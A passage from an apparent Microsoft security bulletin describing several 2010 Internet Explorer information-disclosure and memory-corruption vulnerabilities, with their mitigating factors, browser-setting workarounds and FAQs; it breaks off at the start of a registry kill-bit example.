OK.\r\n\r\n7.\r\n\t\r\n\r\nClick OK two times to return to Internet Explorer.\r\n\r\nNote Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly.\r\n\r\nImpact of workaround. There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to require a prompt before it runs ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for CSS Special Character Information Disclosure Vulnerability - CVE-2010-3325\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is an information disclosure vulnerability. An attacker who exploited the vulnerability when a user views a Web page could view content from another domain or Internet Explorer zone other than the domain or zone of the attacker's Web page.\r\n\r\nWhat causes the vulnerability? \r\nInternet Explorer improperly processes CSS special characters, potentially allowing disclosure of sensitive data.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could view content from another domain or Internet Explorer zone.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could host a specially crafted Web site that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view the Web site. The attacker could also take advantage of compromised Web sites and Web sites that accept or host user-provided content or advertisements. These Web sites could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or in an Instant Messenger message that takes users to the attacker's Web site. It could also be possible to display specially crafted Web content by using banner advertisements or by using other methods to deliver Web content to affected systems.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and visiting a Web site for any malicious action to occur. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nI am running Internet Explorer for Windows Server 2003 or Windows Server 2008. Does this mitigate this vulnerability? \r\nYes. By default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. Enhanced Security Configuration is a group of preconfigured settings in Internet Explorer that can reduce the likelihood of a user or administrator downloading and running specially crafted Web content on a server. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See also Managing Internet Explorer Enhanced Security Configuration.\r\n\r\nWhat does the update do? \r\nThis update addresses the vulnerability by modifying the way that Internet Explorer handles CSS special characters.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CVE-2010-3325.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nUninitialized Memory Corruption Vulnerability - CVE-2010-3326\r\n\r\nA remote code execution vulnerability exists in the way that Internet Explorer accesses an object that has not been correctly initialized or has been deleted. An attacker could exploit the vulnerability by constructing a specially crafted Web page. When a user views the Web page, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. If a user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3326.\r\n\t\r\nMitigating Factors for Uninitialized Memory Corruption Vulnerability - CVE-2010-3326\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker's Web site.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\u2022\t\r\n\r\nBy default, all supported versions of Microsoft Outlook, Microsoft Outlook Express, and Windows Mail open HTML e-mail messages in the Restricted sites zone, which disables script and ActiveX controls, removing the risk of an attacker being able to use this vulnerability to execute malicious code. If a user clicks a link in an e-mail message, the user could still be vulnerable to exploitation of this vulnerability through the Web-based attack scenario.\r\n\u2022\t\r\n\r\nBy default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See the FAQ subsection of this vulnerability section for more information about Internet Explorer Enhanced Security Configuration.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Uninitialized Memory Corruption Vulnerability - CVE-2010-3326\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nSet Internet and Local intranet security zone settings to "High" to block ActiveX Controls and Active Scripting in these zones\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting. You can do this by setting your browser security to High.\r\n\r\nTo raise the browsing security level in Internet Explorer, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nOn the Internet Explorer Tools menu, click Internet Options.\r\n\r\n2.\r\n\t\r\n\r\nIn the Internet Options dialog box, click the Security tab, and then click the Internet icon.\r\n\r\n3.\r\n\t\r\n\r\nUnder Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High.\r\n\r\nNote If no slider is visible, click Default Level, and then move the slider to High.\r\n\r\nNote Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High.\r\n\r\nImpact of workaround. There are side effects to blocking ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Blocking ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. If you do not want to block ActiveX Controls or Active Scripting for such sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to block ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect yourself from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\n\u2022\t\r\n\r\nConfigure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Internet Options on the Tools menu.\r\n\r\n2.\r\n\t\r\n\r\nClick the Security tab.\r\n\r\n3.\r\n\t\r\n\r\nClick Internet, and then click Custom Level.\r\n\r\n4.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n5.\r\n\t\r\n\r\nClick Local intranet, and then click Custom Level.\r\n\r\n6.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n7.\r\n\t\r\n\r\nClick OK two times to return to Internet Explorer.\r\n\r\nNote Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly.\r\n\r\nImpact of workaround. There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to require a prompt before it runs ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Uninitialized Memory Corruption Vulnerability - CVE-2010-3326\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen Internet Explorer attempts to access an object that has not been initialized or has been deleted, it may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the logged-on user.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as a logged-on user. If the user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could host a specially crafted Web site that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view the Web site. An attacker could also embed an ActiveX control marked "safe for initialization" in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised Web sites and Web sites that accept or host user-provided content or advertisements. These Web sites could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by clicking a link in an e-mail message or in an Instant Messenger message that takes users to the attacker's Web site, or by opening an attachment sent through e-mail.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and visiting a Web site for any malicious action to occur. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nI am running Internet Explorer for Windows Server 2003 or Windows Server 2008. Does this mitigate this vulnerability? \r\nYes. By default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. Enhanced Security Configuration is a group of preconfigured settings in Internet Explorer that can reduce the likelihood of a user or administrator downloading and running specially crafted Web content on a server. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See also Managing Internet Explorer Enhanced Security Configuration.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles objects in memory.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nAnchor Element Information Disclosure Vulnerability - CVE-2010-3327\r\n\r\nAn information disclosure vulnerability exists in the way that Internet Explorer improperly handles the Anchor element. This behavior occurs during user operation when the Anchor element is not removed during content pasting and editing, potentially revealing personally identifiable information intended for deletion.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3327.\r\n\t\r\nMitigating Factors for Anchor Element Information Disclosure Vulnerability - CVE-2010-3327\r\n\r\nMicrosoft has not identified any mitigating factors for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Anchor Element Information Disclosure Vulnerability - CVE-2010-3327\r\n\r\nMicrosoft has not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Anchor Element Information Disclosure Vulnerability - CVE-2010-3327\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is an information disclosure vulnerability. Potentially deleted information will remain in HTML content.\r\n\r\nWhat causes the vulnerability? \r\nDuring specific user operation, the Anchor element is not removed from the editable HTML element.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nThis issue is not an exploitable vulnerability. Instead, it potentially exposes previously deleted content during user operation.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and utilizing the browser for HTML content creation. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles the Anchor element.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nUninitialized Memory Corruption Vulnerability - CVE-2010-3328\r\n\r\nA remote code execution vulnerability exists in the way that Internet Explorer accesses an object that has not been correctly initialized or has been deleted. An attacker could exploit the vulnerability by constructing a specially crafted Web page. When a user views the Web page, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. If a user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3328.\r\n\t\r\nMitigating Factors for Uninitialized Memory Corruption Vulnerability - CVE-2010-3328\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker's Web site.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\u2022\t\r\n\r\nBy default, all supported versions of Microsoft Outlook, Microsoft Outlook Express, and Windows Mail open HTML e-mail messages in the Restricted sites zone, which disables script and ActiveX controls, removing the risk of an attacker being able to use this vulnerability to execute malicious code. If a user clicks a link in an e-mail message, the user could still be vulnerable to exploitation of this vulnerability through the Web-based attack scenario.\r\n\u2022\t\r\n\r\nBy default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See the FAQ subsection of this vulnerability section for more information about Internet Explorer Enhanced Security Configuration.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Uninitialized Memory Corruption Vulnerability - CVE-2010-3328\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nSet Internet and Local intranet security zone settings to "High" to block ActiveX Controls and Active Scripting in these zones\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting. You can do this by setting your browser security to High.\r\n\r\nTo raise the browsing security level in Internet Explorer, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nOn the Internet Explorer Tools menu, click Internet Options.\r\n\r\n2.\r\n\t\r\n\r\nIn the Internet Options dialog box, click the Security tab, and then click the Internet icon.\r\n\r\n3.\r\n\t\r\n\r\nUnder Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High.\r\n\r\nNote If no slider is visible, click Default Level, and then move the slider to High.\r\n\r\nNote Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High.\r\n\r\nImpact of workaround. There are side effects to blocking ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Blocking ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. If you do not want to block ActiveX Controls or Active Scripting for such sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to block ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect yourself from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\n\u2022\t\r\n\r\nConfigure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Internet Options on the Tools menu.\r\n\r\n2.\r\n\t\r\n\r\nClick the Security tab.\r\n\r\n3.\r\n\t\r\n\r\nClick Internet, and then click Custom Level.\r\n\r\n4.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n5.\r\n\t\r\n\r\nClick Local intranet, and then click Custom Level.\r\n\r\n6.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n7.\r\n\t\r\n\r\nClick OK two times to return to Internet Explorer.\r\n\r\nNote Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly.\r\n\r\nImpact of workaround. There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to require a prompt before it runs ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Uninitialized Memory Corruption Vulnerability - CVE-2010-3328\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen Internet Explorer attempts to access an object that has not been initialized or has been deleted, it may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the logged-on user.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as a logged-on user. If the user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could host a specially crafted Web site that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view the Web site. An attacker could also embed an ActiveX control marked "safe for initialization" in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised Web sites and Web sites that accept or host user-provided content or advertisements. These Web sites could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by clicking a link in an e-mail message or in an Instant Messenger message that takes users to the attacker's Web site, or by opening an attachment sent through e-mail.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and visiting a Web site for any malicious action to occur. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nI am running Internet Explorer for Windows Server 2003 or Windows Server 2008. Does this mitigate this vulnerability? \r\nYes. By default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. Enhanced Security Configuration is a group of preconfigured settings in Internet Explorer that can reduce the likelihood of a user or administrator downloading and running specially crafted Web content on a server. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See also Managing Internet Explorer Enhanced Security Configuration.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles objects in memory.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nUninitialized Memory Corruption Vulnerability - CVE-2010-3329\r\n\r\nA remote code execution vulnerability exists in the way that Internet Explorer accesses an object that has not been correctly initialized or has been deleted when a document in an HTML format is opened in Microsoft Word. An attacker could exploit the vulnerability by convincing the user to open a malicious Word document. When a user closes the document, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. If a user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3329.\r\n\t\r\nMitigating Factors for Uninitialized Memory Corruption Vulnerability - CVE-2010-3329\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nThe vulnerability cannot be exploited automatically through e-mail. For an attack to be successful, a user must open an attachment that is sent in an e-mail message.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Uninitialized Memory Corruption Vulnerability - CVE-2010-3329\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nPrevent COM objects from running in Internet Explorer\r\n\r\nYou can disable attempts to instantiate a HtmlDlgHelper Class COM object in Internet Explorer by setting the kill bit for the control in the registry.\r\n\r\nWarning If you use Registry Editor incorrectly, you may cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that you can solve problems that result from using Registry Editor incorrectly. Use Registry Editor at your own risk.\r\n\r\nFor detailed steps that you can use to prevent a control from running in Internet Explorer, see Microsoft Knowledge Base Article 240797. Follow the steps in this article to create a Compatibility Flags value in the registry to prevent a COM object from being instantiated in Internet Explorer.\r\n\r\nTo set the kill bit for a CLSID with a value of {3050f4e1-98b5-11cf-bb82-00aa00bdce0b}, paste the following text in a text editor such as Notepad. Then, save the file by using the .reg file name extension.\r\n\r\nWindows Registry Editor Version 